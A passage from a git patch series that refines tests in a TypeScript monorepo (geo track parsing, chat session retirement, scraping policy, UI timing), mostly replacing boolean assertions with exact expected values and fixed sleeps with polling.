"RECEIPT_CARRIES_NO_IDENTITIES").not.toContain("ithaca"); // Revoked after the retirement: the operation's outcome is not disclosed. revokePrincipal(db, f.owner, Date.now()); expect((await post(app, f.owner, requestBody())).status, "REVOKED_CALLER_LEARNS_NOTHING").toBe(401); @@ -277,7 +278,7 @@ test("a session read held across retirement publishes nothing, and lists omit th const response = await reading; const body = await response.text(); expect(response.status, "HELD_READ_REFUSED_AFTER_RETIREMENT").toBe(404); - expect(body.includes(MARKER), "HELD_READ_PUBLISHES_NO_MARKER").toBe(false); + expect(body, "HELD_READ_PUBLISHES_NO_MARKER").not.toContain(MARKER); const list = await (await app.request("/api/sessions?includeRetainedConversations=true", { headers: { "x-odysseus-principal": f.owner } })).json(); expect(list.sessions.map((s: { id: string }) => s.id), "LIST_OMITS_RETIRED").toEqual(["aeaea"]); } finally { await f.host.close(); } @@ -299,8 +300,8 @@ test("live startup history held across retirement never seeds a provider", async await deletionFor(catalog, native).deletion.delete(voyage(f.owner)); release(); const outcome = await reading; - expect("error" in outcome && outcome.error instanceof ChatRetiredError, "STARTUP_SEED_REFUSED_AFTER_RETIREMENT").toBe(true); - expect(JSON.stringify(outcome).includes(MARKER)).toBe(false); + expect((outcome as { error?: unknown }).error, "STARTUP_SEED_REFUSED_AFTER_RETIREMENT").toBeInstanceOf(ChatRetiredError); + expect(JSON.stringify(outcome)).not.toContain(MARKER); } finally { await f.host.close(); } }); @@ -420,6 +421,7 @@ test("a principal revoked during the read gets 401, never the receipt", async () const response = await read(app, f.owner, "delete-voyage"); const text = await response.text(); expect([response.status, JSON.parse(text)], "REVOKED_MID_READ").toEqual([401, { error: "Authentication required", authRequired: true }]); - expect(text.includes("delete-voyage") || text.includes("removed"), "REVOKED_LEARNS_NOTHING").toBe(false); + expect(text, "REVOKED_LEARNS_NOTHING").not.toContain("delete-voyage"); + expect(text, "REVOKED_LEARNS_NOTHING").not.toContain("removed"); } finally { await f.host.close(); } }); diff --git a/packages/ui-server/tests/chat-lifecycle.test.ts b/packages/ui-server/tests/chat-lifecycle.test.ts index c27d3cf644..1e9c7b542b 100644 --- a/packages/ui-server/tests/chat-lifecycle.test.ts +++ b/packages/ui-server/tests/chat-lifecycle.test.ts @@ -216,7 +216,8 @@ test("retirement fences every identity, refuses late writes and keeps unrelated test("fences survive content cascades and restart; consumed identities never execute again", async () => { const f = await fixture(); - { + let host: ReturnType | undefined; + try { expect((await f.host.catalog.retireChat!(request(f.owner), idle)).status).toBe("retired"); // What later content owners may remove, including the cascading task ledger. f.host.db.exec(`DELETE FROM conversation_epochs WHERE id='ithaca'; @@ -224,8 +225,8 @@ test("fences survive content cascades and restart; consumed identities never exe DELETE FROM dialogue_owners WHERE id='ithaca'; DELETE FROM sessions WHERE id='voyage'`); expect(f.host.db.query("SELECT COUNT(*) AS n FROM conversation_tasks WHERE conversation_id='ithaca'").get()).toEqual({ n: 0 }); await f.host.close(); - const host = open(f.path); - try { + host = open(f.path); + { const { catalog } = host; // Without the fence each of these would succeed against the scrubbed rows. await catalog.saveConversationEpoch!({ id: "odyssey-new", principalId: f.owner, epoch: 1 }); @@ -246,8 +247,8 @@ test("fences survive content cascades and restart; consumed identities never exe expect(host.db.query("SELECT COUNT(*) AS n FROM sessions WHERE id='voyage'").get(), "RETIRED_SESSION_ROW_NOT_RECREATED").toEqual({ n: 0 }); expect(await readable(catalog, f.other, "aeaea")).toEqual([CONTROL]); expect(await catalog.chatRetirement!("retire-voyage", f.owner)).toMatchObject({ status: "retired", generation: 2, cleanup: "pending" }); - } finally { await host.close(); } - } + } + } finally { await (host ?? f.host).close(); } }); for (const order of ["adoption-first", "retirement-first"] as const) test(`racing adoption is decided on one side of the retirement (${order})`, async () => { diff --git a/packages/ui-server/tests/chat-session-owner.test.ts b/packages/ui-server/tests/chat-session-owner.test.ts index 83d720477c..bbb717b834 100644 --- a/packages/ui-server/tests/chat-session-owner.test.ts +++ b/packages/ui-server/tests/chat-session-owner.test.ts @@ -108,7 +108,7 @@ test("a typed chat created now is deletable by its owner; one created before the await w.type("And past the Sirens?", "voyage"); expect(bindings(w.db), "ONLY_CREATED_SESSIONS_BIND").toEqual([{ sessionId: "voyage", principalId: w.owner.id }]); // The binding is content-free and adds no dialogue owner: paging and retention are untouched. - expect(JSON.stringify(w.db.query("SELECT * FROM chat_session_owners").all()).includes("voyage home"), "BINDING_IS_CONTENT_FREE").toBe(false); + expect(JSON.stringify(w.db.query("SELECT * FROM chat_session_owners").all()), "BINDING_IS_CONTENT_FREE").not.toContain("voyage home"); expect(w.db.query("SELECT COUNT(*) AS n FROM dialogue_owners").get(), "NO_DIALOGUE_OWNER_CREATED").toEqual({ n: 0 }); expect(await w.catalog.dialogueRead!(w.owner.id, { sessionId: "voyage" }), "DIALOGUE_PAGING_UNCHANGED").toEqual(await w.catalog.dialogueRead!(w.owner.id, { sessionId: "aeaea" })); From d403ed2d1246ba83aac6dee92a9836c573f7c375 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:04:18 +0100 Subject: [PATCH 175/252] test(ui-server): autonomous turn session-limit check prints the refusing frames Test-Health: th-20261110163814-571eb3#8 --- packages/ui-server/tests/autonomous-turn.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/autonomous-turn.test.ts b/packages/ui-server/tests/autonomous-turn.test.ts index 9811d40cd6..c3cdb6e587 100644 --- a/packages/ui-server/tests/autonomous-turn.test.ts +++ b/packages/ui-server/tests/autonomous-turn.test.ts @@ -132,7 +132,7 @@ describe("server-selected autonomous turn", () => { // The real per-turn host probe is awaited (#2416); the dispatch starts once it answers. while (interactiveStarts < 1 && !frames.some((frame) => frame.includes("SESSION_LIMIT"))) await Bun.sleep(1); expect(interactiveStarts).toBe(1); - expect(frames.some((frame) => frame.includes("SESSION_LIMIT"))).toBe(false); + expect(frames.filter((frame) => frame.includes("SESSION_LIMIT"))).toEqual([]); expect(starts).toBe(2); } finally { release(); await Promise.allSettled([first, second]); host.close(); f.db.close(); } }); From d19aec478ec4b52c097488d441e09ed0c51a8e4d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:05:21 +0100 Subject: [PATCH 176/252] test(ui-react): turn timing restores the viewport it sets Test-Health: th-20261110195347-f9b8db#12 --- packages/ui-react/tests/browser/turn-timing.layout.tsx | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser/turn-timing.layout.tsx b/packages/ui-react/tests/browser/turn-timing.layout.tsx index cf7cff0608..b5c48c059a 100644 --- a/packages/ui-react/tests/browser/turn-timing.layout.tsx +++ b/packages/ui-react/tests/browser/turn-timing.layout.tsx @@ -9,7 +9,8 @@ import { TurnTiming } from "../../src/components/activity/turn-timing.js"; let renderer: Root | undefined; let host: HTMLDivElement | undefined; let style: HTMLStyleElement | undefined; -afterEach(()=>{if(renderer)flushSync(()=>renderer!.unmount());host?.remove();style?.remove();renderer=undefined;}); +const viewport={width:innerWidth,height:innerHeight}; +afterEach(async()=>{if(renderer)flushSync(()=>renderer!.unmount());host?.remove();style?.remove();renderer=undefined;await page.viewport(viewport.width,viewport.height);}); const fixture = (over: Partial): ActivityTurnLifecycle => ({ hostEvents: [], skippedPhases: [],lifecycleId:"lifecycle:turn-ithaca",turnId:"turn-ithaca",sessionId:"ithaca",backendRunId:"turn-ithaca",acceptedAt:1000,dequeuedAt:null, governedStartedAt:1000,governedAcquiredAt:2000,budgetStartedAt:2000,budgetAdmittedAt:3000, From 218a69bcfa7f1d7f4f0d5f2e784cb9d5cd436bfa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:07:39 +0100 Subject: [PATCH 177/252] test(geo): name the structural error each malformed track and map input must raise Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110204710-d4eaf5#1 --- packages/geo/tests/normalized-track.test.ts | 5 +++-- packages/geo/tests/static-map.test.ts | 4 ++-- packages/geo/tests/track.test.ts | 8 ++++---- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/packages/geo/tests/normalized-track.test.ts b/packages/geo/tests/normalized-track.test.ts index 0a332f0d0d..1abf3b7eeb 100644 --- a/packages/geo/tests/normalized-track.test.ts +++ b/packages/geo/tests/normalized-track.test.ts @@ -43,8 +43,9 @@ describe("normalized track adapters", () => { test("empty-section resource limits and malformed structures reject", () => { expect(()=>normalizeTrack(Array.from({length:200_001},()=>[]))).toThrow("sections"); - for (const input of [null, [null], [[null]], [[[]]]]) { - expect(()=>normalizeTrack(input as never)).toThrow(); + for (const [input, message] of [[null, "Expected normalized track sections"], [[null], "Each normalized track section must be an array"], + [[[null]], "Each normalized track point must be an object"], [[[[]]], "Each normalized track point must be an object"]] as const) { + expect(()=>normalizeTrack(input as never)).toThrow(message); } expect(normalizeTrack([])).toMatchObject({status:"no_line",counts:{input:0,retained:0,omitted:0,segments:0}}); }); diff --git a/packages/geo/tests/static-map.test.ts b/packages/geo/tests/static-map.test.ts index 4ce47395b4..7fadea43f1 100644 --- a/packages/geo/tests/static-map.test.ts +++ b/packages/geo/tests/static-map.test.ts @@ -154,7 +154,7 @@ describe("deterministic vector static maps", () => { expect(result.png).toBeNull(); expect(result).toMatchObject({ kind: "none", reason: "render_budget", png: null }); expect(result.pins).toHaveLength(1_000); expect(result.text).toContain(`Stop 1000: ${pins[999]!.label}`); - expect(result.pins.every(pin => !pin.drawn)).toBe(true); + expect(result.pins.filter(pin => pin.drawn)).toEqual([]); }); test("unsupported font glyphs preserve full text instead of producing a blank or missing stop label", async () => { @@ -208,7 +208,7 @@ describe("deterministic vector static maps", () => { background.value!.coastline = Array.from({ length: 10_001 }, () => []); await expect(geo.staticMap({ ...input, background })).rejects.toThrow("geometry budget"); background.value!.coastline = [[[0, 91]]]; - await expect(geo.staticMap({ ...input, background })).rejects.toThrow(); + await expect(geo.staticMap({ ...input, background })).rejects.toThrow("Route coordinates must be finite latitude/longitude"); expect(requests).toBe(1); }); diff --git a/packages/geo/tests/track.test.ts b/packages/geo/tests/track.test.ts index ab69c3523c..b1b49e297b 100644 --- a/packages/geo/tests/track.test.ts +++ b/packages/geo/tests/track.test.ts @@ -87,10 +87,10 @@ describe("shared GPX recovery", () => { }); test("recovery still rejects malformed, unsafe and nested input", () => { - for (const source of [gpx([pt("0", "0") + pt("0", "1")]).slice(0, -6), - ']>' + gpx([pt("0", "0") + pt("0", "1")]), - gpx(["".repeat(129) + "".repeat(129)])]) { - expect(() => parseTrackGpx(source)).toThrow(); + for (const [source, message] of [[gpx([pt("0", "0") + pt("0", "1")]).slice(0, -6), /unclosed tag/], + [']>' + gpx([pt("0", "0") + pt("0", "1")]), /doctypes/], + [gpx(["".repeat(129) + "".repeat(129)]), /nesting exceeds 128/]] as const) { + expect(() => parseTrackGpx(source)).toThrow(message); } }); }); From 4b9f5d02790bc4a773d35852388049b31d68ad8f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:09:45 +0100 Subject: [PATCH 178/252] test(geo): name the refusal each unsupported imported track must raise Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110204710-d4eaf5#2 --- packages/geo/tests/imported-track.test.ts | 25 +++++++++++++---------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/packages/geo/tests/imported-track.test.ts b/packages/geo/tests/imported-track.test.ts index a1ccda9d70..6b32efd5a3 100644 --- a/packages/geo/tests/imported-track.test.ts +++ b/packages/geo/tests/imported-track.test.ts @@ -38,16 +38,16 @@ test("waypoint-only files and invalid waypoint evidence never fabricate a line", expect(parsed.waypoints[0]!.lat).toBe(90); expect(parsed.waypointOmissions).toEqual([{ index: 1, reason: "latitude_out_of_range", reasons: ["latitude_out_of_range"] }]); }); -for (const [name, source] of [ - ["ordinary JSON", '{"hello":"world"}'], - ["XML entities", ']>'], - ["malformed XML", ''], - ["alternate encoding", ''], - ["unsupported KML geometry", ''], - ["unsupported JSON geometry", '{"type":"Polygon","coordinates":[]}'], - ["alternate JSON CRS", '{"type":"LineString","crs":{},"coordinates":[[0,0],[1,1]]}'], - ["duplicate coordinates", '0,0 1,12,2 3,3'], -] as const) test(`${name} remains a structural error`, () => { expect(() => parseImportedTrack(source)).toThrow(); }); +for (const [name, source, message] of [ + ["ordinary JSON", '{"hello":"world"}', "Supported GeoJSON track geometry is LineString"], + ["XML entities", ']>', "doctypes/entities are unsupported"], + ["malformed XML", '', "unexpected close tag"], + ["alternate encoding", '', "must use UTF-8 or ASCII"], + ["unsupported KML geometry", '', "Unsupported KML Polygon"], + ["unsupported JSON geometry", '{"type":"Polygon","coordinates":[]}', "Supported GeoJSON track geometry is LineString"], + ["alternate JSON CRS", '{"type":"LineString","crs":{},"coordinates":[[0,0],[1,1]]}', "Alternate GeoJSON coordinate systems are unsupported"], + ["duplicate coordinates", '0,0 1,12,2 3,3', "Duplicate track XML coordinates"], +] as const) test(`${name} remains a structural error`, () => { expect(() => parseImportedTrack(source)).toThrow(message); }); test("byte, depth and aggregate point limits count all evidence", () => { expect(() => parseImportedTrack(" ".repeat(20 * 1024 * 1024 + 1))).toThrow("20 MiB"); expect(() => parseImportedTrack('' + ''.repeat(129) + ''.repeat(129) + '')).toThrow("nesting"); @@ -57,6 +57,9 @@ test("byte, depth and aggregate point limits count all evidence", () => { test("GeoJSON wrappers are structurally validated, rather than treating mislabeled ordinary objects as geometry", () => { const line = { type: "LineString", coordinates: [[3,2],[3.01,2]] }; const feature = { type: "Feature", properties: {}, geometry: line }; - for (const bad of [{ type: "FeatureCollection", features: [line] }, { type: "GeometryCollection", geometries: [feature] }, { type: "Feature", properties: {}, geometry: feature }]) expect(() => parseImportedTrack(JSON.stringify(bad))).toThrow(); + for (const [bad, message] of [[{ type: "FeatureCollection", features: [line] }, "FeatureCollection members must be Features"], + [{ type: "GeometryCollection", geometries: [feature] }, "not a Feature wrapper"], [{ type: "Feature", properties: {}, geometry: feature }, "not a Feature wrapper"]] as const) { + expect(() => parseImportedTrack(JSON.stringify(bad))).toThrow(message); + } expect(parseImportedTrack(JSON.stringify({ type: "FeatureCollection", features: [feature] })).track.counts.retained).toBe(2); }); From 69211a0a39f336f2868b308295f6c6eaa0c3a205 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:13:12 +0100 Subject: [PATCH 179/252] test(scrape): Odysseus-world adapter fixture names, readable host and company assertions Refs #2787. Test-Health: th-20261110210631-dee915#0 --- packages/scrape/tests/adapter.test.ts | 10 +++++----- packages/scrape/tests/address-policy.test.ts | 4 +++- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/packages/scrape/tests/adapter.test.ts b/packages/scrape/tests/adapter.test.ts index 0c2da37fb0..9bf74a8655 100644 --- a/packages/scrape/tests/adapter.test.ts +++ b/packages/scrape/tests/adapter.test.ts @@ -16,12 +16,12 @@ const LISTING = `
No Link Here @@ -51,12 +51,12 @@ describe("extractCards", () => { expect(records[0]).toEqual({ title: "Senior Platform Engineer", url: "https://jobs.example.com/job/1", - company: "Acme GmbH", + company: "Ithaca Shipwrights GmbH", location: "Remote", }); // The second card has no .loc — an absent optional field is simply absent. expect(records[1].location).toBeUndefined(); - expect(records[1].company).toBe("Beta AG"); + expect(records[1].company).toBe("Phaeacian Fleet AG"); }); test("drops a card missing a required field rather than half-filling it", () => { @@ -64,7 +64,7 @@ describe("extractCards", () => { // downstream is worse than a missing one, because it looks like data. const records = extractCards(parseHtml(LISTING), SELECTORS, "https://jobs.example.com/list"); expect(records).toHaveLength(2); - expect(records.some((r) => r.company === "No Link Here")).toBe(false); + expect(records.map((r) => r.company)).toEqual(["Ithaca Shipwrights GmbH", "Phaeacian Fleet AG"]); }); test("fallbacks cover a site that uses two layouts", () => { diff --git a/packages/scrape/tests/address-policy.test.ts b/packages/scrape/tests/address-policy.test.ts index 1d16421a20..d890673d8c 100644 --- a/packages/scrape/tests/address-policy.test.ts +++ b/packages/scrape/tests/address-policy.test.ts @@ -121,7 +121,9 @@ describe('addressPolicy "public-only"', () => { NonPublicAddressError ); // Only the public host was contacted; the redirect target never was. - expect(attempts.every((attempt) => new URL(attempt.url).hostname === PUBLIC_ADDRESS)).toBe(true); + expect(attempts.map((attempt) => new URL(attempt.url).hostname)).toEqual( + respectRobots ? [PUBLIC_ADDRESS, PUBLIC_ADDRESS] : [PUBLIC_ADDRESS] + ); expect(attempts.map((attempt) => new URL(attempt.url).pathname)).toEqual( respectRobots ? ["/robots.txt", "/voyage"] : ["/voyage"] ); From be59d52f238c9da29d2bbfc60797c96a0970c3b2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:14:26 +0100 Subject: [PATCH 180/252] test(ui-server): wait for follow-up and label state instead of a 25 ms settle Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110205147-d08fd8#0 --- .../ui-server/tests/ws-follow-up-queue.test.ts | 5 +++-- packages/ui-server/tests/ws-pill-labels.test.ts | 16 ++++++++++++---- 2 files changed, 15 insertions(+), 6 deletions(-) diff --git a/packages/ui-server/tests/ws-follow-up-queue.test.ts b/packages/ui-server/tests/ws-follow-up-queue.test.ts index 57dd597b37..89adfe4334 100644 --- a/packages/ui-server/tests/ws-follow-up-queue.test.ts +++ b/packages/ui-server/tests/ws-follow-up-queue.test.ts @@ -150,7 +150,8 @@ describe("session_queue", () => { s.finishCurrent(); await until(() => s.prompts.length === 2); - await settle(); + await until(() => client.all().some((f) => f.type === "session_queue" && f.started?.requestId === "req-winds") + && client.all().some((f) => f.type === "session_info" && f.requestId === "req-winds")); const frames = client.all(); const startedAt = frames.findIndex((f) => f.type === "session_queue" && f.started); @@ -167,7 +168,7 @@ describe("session_queue", () => { // The last one goes the same way, and the queue is then empty. s.finishCurrent(); await until(() => s.prompts.length === 3); - await settle(); + await until(() => client.frames("session_queue").at(-1)?.started?.requestId === "req-bag"); const last = client.frames("session_queue").at(-1); expect(last.started).toMatchObject({ requestId: "req-bag" }); expect(last.followUps).toEqual([]); diff --git a/packages/ui-server/tests/ws-pill-labels.test.ts b/packages/ui-server/tests/ws-pill-labels.test.ts index 276a5f0b3b..e3fcf2bb37 100644 --- a/packages/ui-server/tests/ws-pill-labels.test.ts +++ b/packages/ui-server/tests/ws-pill-labels.test.ts @@ -26,6 +26,14 @@ async function until(cond: () => boolean, timeoutMs = 2000): Promise { } } const settle = () => new Promise((r) => setTimeout(r, 25)); +/** Poll an asynchronous read, such as the session list route, until it holds. */ +async function untilAsync(cond: () => Promise, timeoutMs = 2000): Promise { + const start = Date.now(); + while (!(await cond())) { + if (Date.now() - start > timeoutMs) throw new Error("untilAsync: timed out"); + await new Promise((r) => setTimeout(r, 5)); + } +} const SESSION = "sess-ithaca"; const LABELS: Record = { @@ -186,14 +194,14 @@ describe("pill labels (#1004)", () => { const client = await s.connect(); await s.busy(client); await until(() => s.asked.length === 1); - await settle(); + await untilAsync(async () => (await s.listed()).label === "Route home"); expect((await s.listed()).label).toBe("Route home"); client.send({ type: "chat_message", text: "Ask Aeolus about the winds", sessionId: SESSION, requestId: "req-winds" }); await until(() => labels(client.frames("session_queue").at(-1))[0] === "Asking Aeolus"); s.finishers.at(-1)!(); await until(() => s.prompts.length === 2); - await settle(); + await untilAsync(async () => (await s.listed()).label === "Asking Aeolus"); expect((await s.listed()).label).toBe("Asking Aeolus"); // The turn's request was labelled when it was queued: no second call. expect(s.asked).toEqual(["Chart the way home", "Ask Aeolus about the winds"]); @@ -207,7 +215,7 @@ describe("pill labels (#1004)", () => { await until(() => labels(client.frames("session_queue").at(-1))[0] === "Bag of winds"); s.finishers.at(-1)!(); await until(() => s.prompts.length === 2); - await settle(); + await untilAsync(async () => (await s.listed()).label === "Bag of winds"); expect((await s.listed()).label).toBe("Bag of winds"); expect(s.asked.filter((text) => text === "Keep the bag of winds shut")).toHaveLength(1); }); @@ -233,7 +241,7 @@ describe("pill labels (#1004)", () => { client.send({ type: "chat_message", text: "Chart the way home", sessionId: SESSION, requestId: "req-resume" }); await until(() => s.finishers.length === 1); await until(() => s.asked.length === 1); - await settle(); + await untilAsync(async () => (await s.listed()).label === "Route home"); expect((await s.listed()).label).toBe("Route home"); }); From 514a9c9c6c2731d0ce1532d69d11953004b97c79 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:15:33 +0100 Subject: [PATCH 181/252] test(scrape): JSON-LD filter test asserts the document it kept Test-Health: th-20261110210631-dee915#2 --- packages/scrape/tests/jsonld.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/scrape/tests/jsonld.test.ts b/packages/scrape/tests/jsonld.test.ts index 1df9e5913b..a36600bd04 100644 --- a/packages/scrape/tests/jsonld.test.ts +++ b/packages/scrape/tests/jsonld.test.ts @@ -58,7 +58,7 @@ describe("extractJsonLd", () => { expect((documents[0] as Record).title).toBe("Radar Software Engineer"); // And the same input against the pattern this replaces. - expect(bareTagMatches(html) > 0).toBe(bareTagSees); + expect(bareTagMatches(html)).toBe(bareTagSees ? 1 : 0); }); } @@ -72,7 +72,7 @@ describe("extractJsonLd", () => { `; - expect(extractJsonLd(html).documents).toHaveLength(1); + expect(extractJsonLd(html).documents).toEqual([JSON.parse(POSTING)]); }); test("an empty placeholder tag is not an error", () => { From 32be3215011130a3d4bfb2db5421ca65c998bcc3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:17:19 +0100 Subject: [PATCH 182/252] test(render-template): compare the first body element with the skeleton's opener Test-Health: th-20261110210854-539775#0 --- packages/render-template/tests/kinds.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/render-template/tests/kinds.test.ts b/packages/render-template/tests/kinds.test.ts index 016f43a13b..3165e83e9e 100644 --- a/packages/render-template/tests/kinds.test.ts +++ b/packages/render-template/tests/kinds.test.ts @@ -61,8 +61,8 @@ describe("document kinds", () => { m[1].split(/\s+/).some((c) => (OPENER_CLASSES as readonly string[]).includes(c)) ); expect(openers).toHaveLength(1); - const first = firstBodyElement(html); - expect(first.classes.some((c) => (OPENER_CLASSES as readonly string[]).includes(c))).toBe(true); + // The first element is the opener itself: a failure prints both class lists. + expect(firstBodyElement(html).classes).toEqual(openers[0][1].split(/\s+/).filter(Boolean)); }); test("sets the accent and switches its kind declares", () => { From d425b3927938e88d82d83e5737075bb83e4839f1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:17:39 +0100 Subject: [PATCH 183/252] test(render-template): cover an unknown fence language in the static renderer test Test-Health: th-20261110210854-539775#1 --- packages/render-template/tests/static.test.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/packages/render-template/tests/static.test.ts b/packages/render-template/tests/static.test.ts index 1bed0dc1f0..677e3788b3 100644 --- a/packages/render-template/tests/static.test.ts +++ b/packages/render-template/tests/static.test.ts @@ -17,8 +17,10 @@ test("throwing and unsafe entries retain source with named diagnostics", async ( } }); test("unknown and browser-only entries stay code without executing", async () => { - const result = await prepareStaticDocument(opts, { rendererFor: () => ({ needsBrowser: true, async toStatic() { throw new Error("must not execute"); } }) }); - expect(result.html).toContain("language-relay"); expect(result.warnings).toEqual([]); + const unknown = await prepareStaticDocument(opts, { rendererFor: () => null }); + expect(unknown.html).toContain("language-relay"); expect(unknown.warnings).toEqual([]); + const browserOnly = await prepareStaticDocument(opts, { rendererFor: () => ({ needsBrowser: true, async toStatic() { throw new Error("must not execute"); } }) }); + expect(browserOnly.html).toContain("language-relay"); expect(browserOnly.warnings).toEqual([]); }); test("nested fences and inline code preserve markdown semantics", async () => { const result = await prepareStaticDocument({ ...opts, content: "> ```relay\n> Raft ready\n> ```\n\n`relay`" }, { rendererFor: () => ({ needsBrowser: false, async toStatic() { return "Ready"; } }) }); From 17239ffb2d18c17720404ff4c7542b4fc92ce62f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:17:51 +0100 Subject: [PATCH 184/252] revert: drop th-20261110200243-f078e2#6 from the batch The 300 ms settling-sleep fix cannot carry its deflake proof: measure caps this 128 s file at 4 runs per variant, under the 10 clean runs required. Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#6 --- .../tests/browser/draft-branches.offline.tsx | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/packages/ui-react/tests/browser/draft-branches.offline.tsx b/packages/ui-react/tests/browser/draft-branches.offline.tsx index f841d31540..6de3d0c215 100644 --- a/packages/ui-react/tests/browser/draft-branches.offline.tsx +++ b/packages/ui-react/tests/browser/draft-branches.offline.tsx @@ -782,14 +782,13 @@ test("review: a decoding image follows its branch even after opening the origina const branch = (await view(b)).id; await b.call("openOther"); await b.call("releaseImage"); - // The scene has no decode-complete signal: save until the decoded image is - // stored, instead of guessing how long the decode takes. - let kept: Row[] = []; - await expect.poll(async () => { - await b.call("save"); - kept = await rows(b); - return kept.find((r) => r.value.draftId === branch)?.value.attachments.length; - }, { message: "the image decoded for the stale writer lands in its retained branch" }).toBe(incomingImages.length + 1); + await new Promise((resolve) => setTimeout(resolve, 300)); + await b.call("save"); + const kept = await rows(b); + expect( + kept.find((r) => r.value.draftId === branch)?.value.attachments.length, + "the image decoded for the stale writer lands in its retained branch" + ).toBe(incomingImages.length + 1); expect( kept.find((r) => r.value.draftId === original)?.value.attachments, "the committed original keeps its empty image set" From 14e2b5c864e49e8cb35dfc58b97f96ba8de4caf2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:22:32 +0100 Subject: [PATCH 185/252] test(module-travel): name each malformed-GPX refusal and compare route request headers Test-Health: th-20261110205849-494496#0 --- packages/module-travel/tests/routes-runtime.test.ts | 5 +++-- packages/module-travel/tests/routes.test.ts | 10 +++++++--- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/packages/module-travel/tests/routes-runtime.test.ts b/packages/module-travel/tests/routes-runtime.test.ts index 0e7904af3c..efcaad2c1e 100644 --- a/packages/module-travel/tests/routes-runtime.test.ts +++ b/packages/module-travel/tests/routes-runtime.test.ts @@ -123,8 +123,9 @@ describe("real route CLI", () => { const result = await replayCli(root, source!, { ...robots(url.origin), [url.href]: { body } }); expect(result.code).toBe(0); expect(result.requests.map((r) => r.url)).toEqual([`${url.origin}/robots.txt`, url.href]); - expect(result.requests.every((r) => r.method === "GET" && r.headers["user-agent"]?.includes("brain-scrape"))).toBe(true); - expect(result.requests.some((r) => r.headers.cookie || r.headers.authorization)).toBe(false); + expect(result.requests.map((r) => r.method)).toEqual(["GET", "GET"]); + expect(result.requests.map((r) => r.headers["user-agent"])).toEqual([expect.stringContaining("brain-scrape"), expect.stringContaining("brain-scrape")]); + expect(result.requests.map((r) => [r.headers.cookie, r.headers.authorization])).toEqual([[undefined, undefined], [undefined, undefined]]); const { route } = JSON.parse(result.stdout); const saved = parseGpx(readFileSync(join(root, route.gpx), "utf8")); expect(saved.segments[0]!.length).toBeGreaterThan(1); diff --git a/packages/module-travel/tests/routes.test.ts b/packages/module-travel/tests/routes.test.ts index 9d586b52c8..fdaeb2754b 100644 --- a/packages/module-travel/tests/routes.test.ts +++ b/packages/module-travel/tests/routes.test.ts @@ -20,9 +20,13 @@ describe("route parsing and metrics", () => { }); test("rejects malformed XML, unsupported versions and doctypes instead of accepting partial geometry", () => { - for (const bad of [source.replace("", ""), source.replace('version="1.1" creator', 'version="2.0" creator'), + const refusal = (bad: string) => { try { parseGpx(bad); return "accepted"; } catch (error) { return (error as Error).message; } }; + expect([source.replace("", ""), source.replace('version="1.1" creator', 'version="2.0" creator'), ']>' + source.replace('lat="0"', 'lat="&departure;"'), source + "", - source.replace('encoding="UTF-8"', 'encoding="UTF-16"')]) expect(() => parseGpx(bad)).toThrow(); + source.replace('encoding="UTF-8"', 'encoding="UTF-16"')].map(refusal)).toEqual([ + expect.stringContaining("unexpected close tag"), "Expected GPX 1.0 or 1.1 with a matching namespace.", + "GPX doctypes/entities are unsupported.", expect.stringContaining("only one root"), + "GPX input must use UTF-8 or ASCII encoding."]); }); test("invalid coordinates fail while invalid or missing optional data stays unknown", () => { @@ -60,7 +64,7 @@ describe("route parsing and metrics", () => { test("non-monotonic recording timestamps never become a fabricated duration", () => { const broken = parseGpx(source.replace("00:02:00Z", "00:00:30Z")); expect(broken.segments[0]).toHaveLength(4); - expect(broken.segments[0]!.every((p) => p.time !== null)).toBe(true); + expect(broken.segments[0]!.filter((p) => p.time === null)).toEqual([]); expect(broken.segments[0]![2]!.time).toBe("2026-07-15T00:00:30.000Z"); expect(routeMetrics(broken.segments).recorded_duration_s).toBeNull(); }); From e0c6596676023767bf59c8f09c112fc2984b3871 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:24:09 +0100 Subject: [PATCH 186/252] test(module-images): scratch in-flight tests prove the request went out; temp dirs and OPENAI_API_KEY restored in teardown Test-Health: th-20261110211723-678f3c#0 --- packages/module-images/tests/module.test.ts | 13 +++++-- packages/module-images/tests/scratch.test.ts | 41 +++++++++++--------- 2 files changed, 33 insertions(+), 21 deletions(-) diff --git a/packages/module-images/tests/module.test.ts b/packages/module-images/tests/module.test.ts index 62ef4cf9d4..6f8bc1db2e 100644 --- a/packages/module-images/tests/module.test.ts +++ b/packages/module-images/tests/module.test.ts @@ -1,5 +1,5 @@ -import { describe, expect, it } from "bun:test"; -import { mkdtempSync } from "fs"; +import { afterEach, describe, expect, it } from "bun:test"; +import { mkdtempSync, rmSync } from "fs"; import { tmpdir } from "os"; import { join, resolve } from 